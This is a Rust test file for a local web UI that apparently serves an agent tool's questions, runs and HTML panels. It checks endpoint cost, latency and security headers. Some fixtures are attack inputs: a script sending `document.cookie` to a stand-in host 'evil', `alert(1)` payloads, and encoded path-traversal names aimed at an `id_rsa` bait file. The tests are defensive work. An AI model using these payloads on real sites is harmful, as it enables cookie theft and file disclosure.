10282
10283 const SETTLE_STEPS: usize = 3_000;
10294
10295 struct Fixture {
10301 home: TempDir,
10302 addr: SocketAddr,
10303 }
10304
10305 impl Fixture {
10306 async fn start() -> Self {
10307 Self::with_loop(launch_idle).await
10308 }
10309
10310 async fn with_loop(launch: Launch) -> Self {
10312 let home = TempDir::new().expect("temp home");
10313 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
10314 Self { home, addr }
10315 }
10316
10317 async fn with_repo(repo: PathBuf) -> Self {
10321 let home = TempDir::new().expect("temp home");
10322 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
10323 Self { home, addr }
10324 }
10325
10326 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
10329 let home = TempDir::new().expect("temp home");
10330 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
10331 Self { home, addr }
10332 }
10333
10334 async fn serve(
10335 home: &FsPath,
10336 repo: PathBuf,
10337 launch: Launch,
10338 machine: Option<PathBuf>,
10339 ) -> SocketAddr {
10340 let queue = Queue::at(home.join("queue"));
10341 let runs = home.join("runs");
10342 std::fs::create_dir_all(&runs).expect("runs dir");
10343 let worktrees = home.join("wt").join("magi");
10344 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
10345 let ui = Ui::new(
10346 queue,
10347 Questions::at(home.join("questions")),
10348 Talks::at(home.join("talks")),
10349 runs,
10350 home.to_path_buf(),
10351 repo,
10352 )
10353 .with_worktrees_root(worktrees)
10354 .with_machine_config(machine)
10355 .with_launch(launch);
10356 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10357 .await
10358 .expect("bind loopback");
10359 let addr = listener.local_addr().expect("local addr");
10360 tokio::spawn(async move {
10361 let router = ui
10362 .router()
10363 .layer(axum::middleware::from_fn(request_cost::observe));
10364 let _ = axum::serve(listener, router).await;
10365 });
10366 addr
10367 }
10368
10369 fn queue(&self) -> Queue {
10370 Queue::at(self.home.path().join("queue"))
10371 }
10372
10373 fn questions(&self) -> Questions {
10374 Questions::at(self.home.path().join("questions"))
10375 }
10376
10377 fn talks(&self) -> Talks {
10378 Talks::at(self.home.path().join("talks"))
10379 }
10380
10381 fn runs(&self) -> PathBuf {
10382 self.home.path().join("runs")
10383 }
10384
10385 async fn get(&self, path: &str) -> Res {
10386 request(self.addr, "GET", path, None).await
10387 }
10388
10389 async fn head(&self, path: &str) -> Res {
10394 request(self.addr, "HEAD", path, None).await
10395 }
10396
10397 async fn post(&self, path: &str, body: Option<&str>) -> Res {
10398 request(self.addr, "POST", path, body).await
10399 }
10400
10401 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
10402 request_with(self.addr, "GET", path, None, extra).await
10403 }
10404
10405 async fn delete(&self, path: &str) -> Res {
10406 request(self.addr, "DELETE", path, None).await
10407 }
10408
10409 async fn put(&self, path: &str, body: &str) -> Res {
10410 request(self.addr, "PUT", path, Some(body)).await
10411 }
10412
10413 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
10415 request_bytes(self.addr, path, headers, body).await
10416 }
10417 }
10418
10419 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
10422 let tmp = TempDir::new().unwrap();
10423 let mut repos = Vec::new();
10424 for name in ["one", "two"] {
10425 let repo = tmp.path().join(name);
10426 let origin = tmp.path().join(format!("{name}.git"));
10427 std::fs::create_dir_all(&repo).unwrap();
10428 crate::git::git(&repo, &["init", "-b", "main"])
10429 .await
10430 .unwrap();
10431 std::fs::write(
10432 repo.join("magi.toml"),
10433 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
10434 )
10435 .unwrap();
10436 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
10437 crate::git::git(
10438 &repo,
10439 &[
10440 "-c",
10441 "user.name=fixture",
10442 "-c",
10443 "user.email=fixture@example.invalid",
10444 "commit",
10445 "-m",
10446 "fixture",
10447 ],
10448 )
10449 .await
10450 .unwrap();
10451 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
10452 .await
10453 .unwrap();
10454 crate::git::git(
10455 &repo,
10456 &["remote", "add", "origin", origin.to_str().unwrap()],
10457 )
10458 .await
10459 .unwrap();
10460 crate::git::git(&repo, &["push", "origin", "main"])
10461 .await
10462 .unwrap();
10463 crate::git::git(
10464 &repo,
10465 &[
10466 "symbolic-ref",
10467 "refs/remotes/origin/HEAD",
10468 "refs/remotes/origin/main",
10469 ],
10470 )
10471 .await
10472 .unwrap();
10473 let (cfg, _) = Config::discover(&repo, None).unwrap();
10474 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
10475 repos.push(repo);
10476 }
10477 let repos: [PathBuf; 2] = repos.try_into().unwrap();
10478 (tmp, repos)
10479 }
10480
10481 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
10482 let (tmp, repos) = performance_repositories().await;
10483 let machine = tmp.path().join("machine.toml");
10484 std::fs::write(&machine, "").unwrap();
10485 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
10486 (tmp, repos, fx)
10487 }
10488
10489 fn seed_performance(
10490 fx: &Fixture,
10491 repos: &[PathBuf; 2],
10492 questions: usize,
10493 runs: usize,
10494 items: usize,
10495 ) {
10496 for i in fx.questions().list().len()..questions {
10498 let mut question = Question::new(
10499 "20261001-000000-0000".into(),
10500 "implement".into(),
10501 "impl-A".into(),
10502 format!("question {i}"),
10503 "context".into(),
10504 vec!["yes".into(), "no".into()],
10505 );
10506 question.id = format!("20261003-000000-{i:04x}");
10507 fx.questions().put(&mut question).unwrap();
10508 }
10509 for i in run_ids(&fx.runs()).len()..runs {
10510 write_run_repo(
10511 &fx.runs(),
10512 &format!("20261001-000000-{i:04x}"),
10513 RunStatus::Ready,
10514 repos[i % 2].to_str().unwrap(),
10515 );
10516 }
10517 for i in fx.talks().list().len()..items {
10518 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
10519 let mut talk = fx.talks().get(&id).unwrap();
10520 talk.repo = repos[i % 2].clone();
10521 fx.talks().put(&mut talk).unwrap();
10522 let mut task = crate::queue::Task::new(
10523 format!("task {i}"),
10524 "instruction".into(),
10525 repos[i % 2].clone(),
10526 crate::queue::Source::Agent {
10527 run: id,
10528 node: crate::queue::CHAT_NODE.into(),
10529 },
10530 );
10531 task.id = format!("20261004-000000-{i:04x}");
10532 fx.queue().put(&mut task).unwrap();
10533 if i < crate::notices::CAP {
10535 Notices::at(fx.home.path().join("notifications"))
10536 .raise(Notice::info(&format!("notice-{i}"), "notification"))
10537 .unwrap();
10538 }
10539 }
10540 assert_eq!(fx.questions().list().len(), questions);
10541 assert_eq!(run_ids(&fx.runs()).len(), runs);
10542 assert_eq!(fx.talks().list().len(), items);
10543 assert_eq!(fx.queue().list().len(), items);
10544 assert_eq!(
10545 Notices::at(fx.home.path().join("notifications"))
10546 .list()
10547 .len(),
10548 items.min(crate::notices::CAP)
10549 );
10550 }
10551
10552 fn request_counts(res: &Res) -> (usize, usize) {
10553 assert_eq!(res.status, 200, "{}", res.body);
10554 (
10555 res.header("x-test-discoveries").unwrap().parse().unwrap(),
10556 res.header("x-test-git").unwrap().parse().unwrap(),
10557 )
10558 }
10559
10560 #[tokio::test]
10561 async fn list_request_cost_is_independent_of_record_count() {
10562 let (_tmp, repos, fx) = performance_fixture().await;
10563 let mut previous = None;
10564 for n in [4, 60] {
10565 seed_performance(&fx, &repos, n, n, n);
10566 let mut costs = Vec::new();
10567 for (path, discoveries) in [
10568 ("/api/questions", 1),
10569 ("/api/talks", 2),
10570 ("/api/health", 1),
10571 ("/api/stats", 1),
10572 ] {
10573 for repo in &repos {
10576 let cache = repo.join(".git/magi/config");
10577 if cache.exists() {
10578 std::fs::remove_dir_all(cache).unwrap();
10579 }
10580 }
10581 let cost = request_counts(&fx.get(path).await);
10582 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
10583 assert_eq!(cost.0, discoveries, "{path}, N={n}");
10584 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
10585 costs.push(cost);
10586 }
10587 if let Some(previous) = previous {
10588 assert_eq!(costs, previous);
10589 }
10590 previous = Some(costs);
10591 }
10592 }
10596
10597 #[tokio::test]
10600 async fn list_handler_cost_without_transport() {
10601 let (_tmp, repos) = performance_repositories().await;
10602 let fx = Fixture {
10603 home: TempDir::new().unwrap(),
10604 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10605 };
10606 let ui = Arc::new(
10607 Ui::new(
10608 fx.queue(),
10609 fx.questions(),
10610 fx.talks(),
10611 fx.runs(),
10612 fx.home.path().to_path_buf(),
10613 repos[0].clone(),
10614 )
10615 .with_worktrees_root(fx.home.path().join("wt")),
10616 );
10617 let mut previous = None;
10618 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
10619 seed_performance(&fx, &repos, n, runs, items);
10620 let mut costs = Vec::new();
10621 for endpoint in ["questions", "talks", "health", "stats"] {
10622 for repo in &repos {
10623 let cache = repo.join(".git/magi/config");
10624 if cache.exists() {
10625 std::fs::remove_dir_all(cache).unwrap();
10626 }
10627 }
10628 let (_, cost) = request_cost::measure(async {
10629 match endpoint {
10630 "questions" => {
10631 let _ = questions_list(State(ui.clone())).await.unwrap();
10632 }
10633 "talks" => {
10634 let _ = talks_list(
10635 State(ui.clone()),
10636 Query(ListQuery {
10637 limit: None,
10638 ids: None,
10639 }),
10640 )
10641 .await
10642 .unwrap();
10643 }
10644 "health" => {
10645 let _ = health(State(ui.clone())).await.unwrap();
10646 }
10647 _ => {
10648 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
10649 .await
10650 .unwrap();
10651 }
10652 }
10653 })
10654 .await;
10655 eprintln!("{endpoint} handler N={n}: {cost:?}");
10656 assert_eq!(
10657 cost.0,
10658 if endpoint == "talks" { 2 } else { 1 },
10659 "{endpoint}"
10660 );
10661 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
10662 costs.push(cost);
10663 }
10664 if let Some(previous) = previous {
10665 assert_eq!(costs, previous);
10666 }
10667 previous = Some(costs);
10668 }
10669 }
10670
10671 #[tokio::test]
10672 async fn list_request_cost_scopes_do_not_mix() {
10673 let (_tmp, repos, fx) = performance_fixture().await;
10674 seed_performance(&fx, &repos, 10, 0, 10);
10675 let (questions, talks, notices) = tokio::join!(
10676 fx.get("/api/questions"),
10677 fx.get("/api/talks"),
10678 fx.get("/api/notifications")
10679 );
10680 assert_eq!(request_counts(&questions).0, 1);
10681 assert_eq!(request_counts(&talks).0, 2);
10682 assert_eq!(request_counts(¬ices), (0, 0));
10683 }
10684
10685 #[tokio::test]
10686 async fn list_endpoints_large_home_ceiling() {
10687 let (_tmp, repos, fx) = performance_fixture().await;
10688 seed_performance(&fx, &repos, 200, 300, 400);
10689 let mut failures = Vec::new();
10690 for path in [
10693 "/",
10694 "/app.js",
10695 "/app.css",
10696 "/api/questions",
10697 "/api/runs?limit=300",
10698 "/api/queue",
10699 "/api/talks",
10700 "/api/notifications",
10701 "/api/health",
10702 "/api/stats",
10703 "/api/loop",
10704 "/api/settings",
10705 "/api/repos",
10706 ] {
10707 let start = std::time::Instant::now();
10708 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
10709 let elapsed = start.elapsed();
10710 eprintln!("{path}: {elapsed:?}");
10711 match result {
10712 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
10713 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
10714 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
10715 }
10716 }
10717 assert!(failures.is_empty(), "{}", failures.join("\n"));
10718 }
10719
10720 struct Res {
10721 status: u16,
10722 headers: String,
10723 head: String,
10728 body: String,
10729 bytes: Vec<u8>,
10733 }
10734
10735 impl Res {
10736 fn json(&self) -> Value {
10737 serde_json::from_str(&self.body)
10738 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
10739 }
10740
10741 fn header(&self, name: &str) -> Option<&str> {
10743 self.head.lines().find_map(|line| {
10744 let (key, value) = line.split_once(':')?;
10745 key.trim()
10746 .eq_ignore_ascii_case(name)
10747 .then(|| value.trim_start().trim_end_matches('\r'))
10748 })
10749 }
10750 }
10751
10752 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
10755 request_with(addr, method, path, body, &[]).await
10756 }
10757
10758 async fn request_with(
10762 addr: SocketAddr,
10763 method: &str,
10764 path: &str,
10765 body: Option<&str>,
10766 extra: &[(&str, &str)],
10767 ) -> Res {
10768 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10769 for (name, value) in extra {
10770 head.push_str(&format!("{name}: {value}\r\n"));
10771 }
10772 if let Some(body) = body {
10773 head.push_str("Content-Type: application/json\r\n");
10774 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
10775 }
10776 head.push_str("\r\n");
10777 if let Some(body) = body {
10778 head.push_str(body);
10779 }
10780 let mut socket = tokio::net::TcpStream::connect(addr)
10781 .await
10782 .expect("connect to the test server");
10783 socket
10784 .write_all(head.as_bytes())
10785 .await
10786 .expect("write request");
10787 let mut raw = Vec::new();
10788 socket.read_to_end(&mut raw).await.expect("read response");
10789 let split = raw
10792 .windows(4)
10793 .position(|w| w == b"\r\n\r\n")
10794 .expect("a header block");
10795 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10796 let bytes = raw[split + 4..].to_vec();
10797 let status = head
10798 .lines()
10799 .next()
10800 .and_then(|line| line.split_whitespace().nth(1))
10801 .and_then(|code| code.parse().ok())
10802 .expect("a status line");
10803 Res {
10804 status,
10805 headers: head.to_lowercase(),
10806 head,
10807 body: String::from_utf8_lossy(&bytes).into_owned(),
10808 bytes,
10809 }
10810 }
10811
10812 async fn request_bytes(
10818 addr: SocketAddr,
10819 path: &str,
10820 headers: &[(&str, &str)],
10821 body: &[u8],
10822 ) -> Res {
10823 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
10824 for (name, value) in headers {
10825 head.push_str(&format!("{name}: {value}\r\n"));
10826 }
10827 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
10828 let mut socket = tokio::net::TcpStream::connect(addr)
10829 .await
10830 .expect("connect to the test server");
10831 socket
10832 .write_all(head.as_bytes())
10833 .await
10834 .expect("write request head");
10835 socket.write_all(body).await.expect("write request body");
10836 let mut raw = Vec::new();
10837 socket.read_to_end(&mut raw).await.expect("read response");
10838 let split = raw
10839 .windows(4)
10840 .position(|w| w == b"\r\n\r\n")
10841 .expect("a header block");
10842 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
10843 let bytes = raw[split + 4..].to_vec();
10844 let status = head
10845 .lines()
10846 .next()
10847 .and_then(|line| line.split_whitespace().nth(1))
10848 .and_then(|code| code.parse().ok())
10849 .expect("a status line");
10850 Res {
10851 status,
10852 headers: head.to_lowercase(),
10853 head,
10854 body: String::from_utf8_lossy(&bytes).into_owned(),
10855 bytes,
10856 }
10857 }
10858
10859 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
10861 let mut state = RunState::new(
10862 PathBuf::from("/repo/magi"),
10863 "main".to_owned(),
10864 "0123456789abcdef".to_owned(),
10865 "Add a web UI\n\nMobile first.".to_owned(),
10866 Config::default(),
10867 );
10868 state.id = id.to_owned();
10869 state.status = status;
10870 let dir = runs.join(id);
10871 std::fs::create_dir_all(&dir).expect("run dir");
10872 std::fs::write(
10873 dir.join("run.json"),
10874 serde_json::to_string_pretty(&state).expect("serialize run"),
10875 )
10876 .expect("write run.json");
10877 }
10878
10879 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
10883 let mut state = RunState::new(
10884 PathBuf::from(repo),
10885 "main".to_owned(),
10886 "0123456789abcdef".to_owned(),
10887 "task".to_owned(),
10888 Config::default(),
10889 );
10890 state.id = id.to_owned();
10891 state.status = status;
10892 let dir = runs.join(id);
10893 std::fs::create_dir_all(&dir).expect("run dir");
10894 std::fs::write(
10895 dir.join("run.json"),
10896 serde_json::to_string_pretty(&state).expect("serialize run"),
10897 )
10898 .expect("write run.json");
10899 }
10900
10901 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
10902 let body = serde_json::json!({
10903 "schema": 1,
10904 "pid": 4242,
10905 "started_at": Timestamp::now().to_string(),
10906 "updated_at": updated_at.to_string(),
10907 "idle": false,
10908 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
10909 "completed": 7,
10910 "polls": 143,
10911 });
10912 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
10913 }
10914
10915 fn launch_idle(
10925 _opts: daemon::Opts,
10926 stop: daemon::Stop,
10927 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10928 Box::pin(async move {
10929 while !stop.stopped() {
10930 tokio::time::sleep(Duration::from_millis(2)).await;
10931 }
10932 Ok(())
10933 })
10934 }
10935
10936 fn launch_broken(
10939 _opts: daemon::Opts,
10940 _stop: daemon::Stop,
10941 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10942 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
10947 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
10948 Box::pin(async move {
10949 Err(anyhow::anyhow!(if first {
10950 "publish the daemon status file: read-only file system"
10951 } else {
10952 "the restarted stand-in failed as well"
10953 }))
10954 })
10955 }
10956
10957 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
10964 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
10965
10966 fn launch_knocking_on_the_way_out(
10973 _opts: daemon::Opts,
10974 stop: daemon::Stop,
10975 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
10976 Box::pin(async move {
10977 while !stop.stopped() {
10978 tokio::time::sleep(Duration::from_millis(2)).await;
10979 }
10980 let addr = PARK_KNOCK
10981 .lock()
10982 .expect("park knock")
10983 .expect("the test set an address");
10984 let heard = request(addr, "GET", "/api/health", None).await.status;
10985 *PARK_HEARD.lock().expect("park heard") = Some(heard);
10986 Ok(())
10987 })
10988 }
10989
10990 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
10999 for _ in 0..SETTLE_STEPS {
11000 let view = fx.get("/api/loop").await.json();
11001 if want(&view) {
11002 return view;
11003 }
11004 tokio::time::sleep(Duration::from_millis(10)).await;
11005 }
11006 panic!(
11007 "the loop never settled: {}",
11008 fx.get("/api/loop").await.json()
11009 );
11010 }
11011
11012 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
11014 let store = fx.questions();
11015 let mut q = Question::new(
11016 "20260902-000000-beef".to_owned(),
11017 "implement".to_owned(),
11018 "impl-A".to_owned(),
11019 summary.to_owned(),
11020 "because it matters".to_owned(),
11021 choices.iter().map(|c| (*c).to_owned()).collect(),
11022 );
11023 store.put(&mut q).expect("put question");
11024 q.id
11025 }
11026
11027 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
11033 let store = fx.questions();
11034 let mut q = Question::new(
11035 "20260902-000000-beef".to_owned(),
11036 "land".to_owned(),
11037 "fix".to_owned(),
11038 "Merge this?".to_owned(),
11039 "the diff is in the panel".to_owned(),
11040 vec!["merge".to_owned(), "hold".to_owned()],
11041 );
11042 let staging = fx.home.path().join("staging");
11045 std::fs::create_dir_all(&staging).expect("staging dir");
11046 let sources: Vec<PathBuf> = assets
11047 .iter()
11048 .map(|(name, bytes)| {
11049 let path = staging.join(name);
11050 std::fs::write(&path, bytes).expect("write staged asset");
11051 path
11052 })
11053 .collect();
11054 store
11055 .put_panel(&mut q, html, &sources)
11056 .expect("write the panel");
11057 store.put(&mut q).expect("put question");
11058 q.id
11059 }
11060
11061 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
11070 seed_talk_at(&fx.talks(), id, status)
11071 }
11072
11073 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
11074 std::fs::create_dir_all(store.root()).expect("talks dir");
11075 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
11076 .expect("serialize a seat");
11077 let body = serde_json::json!({
11078 "schema": 1,
11079 "id": id,
11080 "repo": "/repo/magi",
11081 "agent": "mock",
11082 "status": status,
11083 "turns": [],
11084 "created_at": Timestamp::now().to_string(),
11085 "updated_at": Timestamp::now().to_string(),
11086 "seat": seat,
11087 });
11088 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
11089 store.get(id).expect("the seeded talk has to be readable");
11090 id.to_owned()
11091 }
11092
11093 #[tokio::test]
11094 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
11095 let fx = Fixture::start().await;
11096 let id = panel(
11097 &fx,
11098 "<h1>Merge?</h1><img src=\"diff.svg\">",
11099 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
11100 );
11101
11102 for path in [
11103 format!("/api/questions/{id}/panel"),
11104 format!("/api/questions/{id}/asset/diff.svg"),
11105 ] {
11106 let res = fx.get(&path).await;
11107 assert_eq!(res.status, 200, "{path}: {}", res.body);
11108 assert_eq!(
11114 res.header("content-security-policy"),
11115 Some(
11116 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
11117 font-src data:; base-uri 'none'; form-action 'none'; \
11118 frame-ancestors 'self'"
11119 ),
11120 "{path} is the only thing between a hostile panel and the tailnet"
11121 );
11122 assert_eq!(
11123 res.header("x-content-type-options"),
11124 Some("nosniff"),
11125 "{path}: a browser must not re-decide the type we sent"
11126 );
11127 assert_eq!(
11128 res.header("referrer-policy"),
11129 Some("no-referrer"),
11130 "{path}: a panel must not leak the question id off the machine"
11131 );
11132
11133 let pre = fx.head(&path).await;
11138 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
11139 assert_eq!(
11140 pre.header("content-security-policy"),
11141 res.header("content-security-policy"),
11142 "{path}: the preflight carries the same policy"
11143 );
11144 assert_eq!(
11145 pre.header("content-type"),
11146 res.header("content-type"),
11147 "{path}: the preflight carries the same type"
11148 );
11149 }
11150 }
11151
11152 #[tokio::test]
11153 async fn a_panel_reaches_the_browser_byte_for_byte() {
11154 let fx = Fixture::start().await;
11155 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
11160 let id = panel(&fx, html, &[]);
11161
11162 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
11163
11164 assert_eq!(res.status, 200);
11165 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
11166 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
11167 assert_eq!(
11168 res.header("content-disposition"),
11169 None,
11170 "the panel itself is rendered in the frame, not downloaded"
11171 );
11172 }
11173
11174 #[tokio::test]
11175 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
11176 let fx = Fixture::start().await;
11177 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
11178 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
11179 let id = panel(
11180 &fx,
11181 "<img src=\"diff.svg\"><img src=\"shot.png\">",
11182 &[("diff.svg", svg), ("shot.png", png)],
11183 );
11184
11185 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
11186 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
11187
11188 assert_eq!(as_svg.status, 200);
11189 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
11190 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
11195
11196 assert_eq!(as_png.status, 200);
11197 assert_eq!(as_png.header("content-type"), Some("image/png"));
11198 assert_eq!(
11199 as_png.header("content-disposition"),
11200 None,
11201 "a raster image has no execution surface, so tapping it still shows it"
11202 );
11203 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
11204 }
11205
11206 #[tokio::test]
11207 async fn an_html_asset_is_never_served_as_html() {
11208 let fx = Fixture::start().await;
11209 let id = panel(
11210 &fx,
11211 "<p>see the notes</p>",
11212 &[
11213 (
11214 "notes.html",
11215 b"<script>fetch('http://evil/'+document.cookie)</script>",
11216 ),
11217 ("hook.js", b"fetch('http://evil/')"),
11218 ("data.json", b"{}"),
11219 ("HEADLINE.TXT", b"plain"),
11220 ],
11221 );
11222
11223 for name in ["notes.html", "hook.js", "data.json"] {
11224 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
11225 assert_eq!(res.status, 200, "{name}: {}", res.body);
11226 assert_eq!(
11231 res.header("content-type"),
11232 Some("application/octet-stream"),
11233 "{name} must not be a type the browser will execute or render"
11234 );
11235 }
11236 let txt = fx
11239 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
11240 .await;
11241 assert_eq!(
11242 txt.header("content-type"),
11243 Some("text/plain; charset=utf-8")
11244 );
11245 }
11246
11247 #[tokio::test]
11248 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
11249 let fx = Fixture::start().await;
11250 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11251 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
11255
11256 for encoded in [
11263 "%2e%2e%2fid_rsa",
11264 "..%2fid_rsa",
11265 "..%5cid_rsa",
11266 "%2e%2e%5cid_rsa",
11267 "diff%00.svg",
11268 "..",
11269 ".hidden",
11270 "%2e%2e%2f%2e%2e%2fid_rsa",
11271 ] {
11272 let res = fx
11273 .get(&format!("/api/questions/{id}/asset/{encoded}"))
11274 .await;
11275 assert_eq!(
11276 res.status, 400,
11277 "`{encoded}` has to be refused by name, not looked up: {}",
11278 res.body
11279 );
11280 assert!(res.json()["error"].is_string(), "{}", res.body);
11281 }
11282
11283 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
11289 let res = fx
11290 .get(&format!("/api/questions/{id}/asset/{literal}"))
11291 .await;
11292 assert_eq!(
11293 res.status, 404,
11294 "`{literal}` must not match the asset route at all: {}",
11295 res.body
11296 );
11297 }
11298 }
11299
11300 #[tokio::test]
11301 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
11302 let fx = Fixture::start().await;
11303 let plain = ask(&fx, "Which backend?", &["SQLite"]);
11304 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
11305
11306 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
11310 assert_eq!(none.status, 404, "{}", none.body);
11311 assert!(none.json()["error"].is_string(), "{}", none.body);
11312 assert_eq!(
11313 fx.head(&format!("/api/questions/{plain}/panel"))
11314 .await
11315 .status,
11316 404,
11317 "the preflight is the only way the client can learn this"
11318 );
11319
11320 let missing = fx
11322 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
11323 .await;
11324 assert_eq!(missing.status, 404, "{}", missing.body);
11325 assert!(missing.json()["error"].is_string(), "{}", missing.body);
11326
11327 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
11329 assert_eq!(
11330 fx.get("/api/questions/nope/asset/diff.svg").await.status,
11331 404
11332 );
11333 }
11334
11335 #[tokio::test]
11336 async fn a_run_with_an_open_question_reads_as_waiting() {
11337 let fx = Fixture::start().await;
11338 let run = "20260902-000000-beef".to_owned();
11339 write_run(&fx.runs(), &run, RunStatus::Implementing);
11340
11341 let before = fx.get("/api/runs").await.json();
11342 assert_eq!(before[0]["waiting"], false, "{before}");
11343
11344 let store = fx.questions();
11345 let mut q = Question::new(
11346 run.clone(),
11347 "implement".to_owned(),
11348 "impl-A".to_owned(),
11349 "Which backend?".to_owned(),
11350 String::new(),
11351 vec!["SQLite".to_owned()],
11352 );
11353 store.put(&mut q).expect("put");
11354
11355 let during = fx.get("/api/runs").await.json();
11356 assert_eq!(during[0]["waiting"], true, "{during}");
11357
11358 q.answer(Answer::Choice("SQLite".to_owned()))
11361 .expect("answer");
11362 store.put(&mut q).expect("put");
11363 let after = fx.get("/api/runs").await.json();
11364 assert_eq!(after[0]["waiting"], false, "{after}");
11365 }
11366
11367 #[tokio::test]
11368 async fn an_open_question_is_listed_and_counted_by_health() {
11369 let fx = Fixture::start().await;
11370 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
11371
11372 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
11373 let listed = fx.get("/api/questions").await.json();
11374 assert_eq!(listed.as_array().expect("array").len(), 1);
11375 assert_eq!(listed[0]["id"], id);
11376 assert_eq!(listed[0]["status"], "open");
11377 assert_eq!(listed[0]["choices"][1], "Redis");
11378 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
11381 }
11382
11383 fn obsolete_approval_state() -> RunState {
11384 let mut state = crate::land::tests::repair_state(true, true);
11385 state.pr = Some(crate::run::PrRecord {
11386 url: "https://github.com/example/repo/pull/42".into(),
11387 number: 42,
11388 state: "open".into(),
11389 checks: "green".into(),
11390 round: 1,
11391 rounds: 4,
11392 red_at_merge: Vec::new(),
11393 });
11394 state
11395 }
11396
11397 #[tokio::test]
11398 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
11399 for owner in ["missing", "current", "completed", "later"] {
11400 let fx = Fixture {
11401 home: TempDir::new().unwrap(),
11402 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
11403 };
11404 let mut state = obsolete_approval_state();
11405 state.status = RunStatus::Landing;
11406 state.parked = true;
11407 state.driver_exited = true;
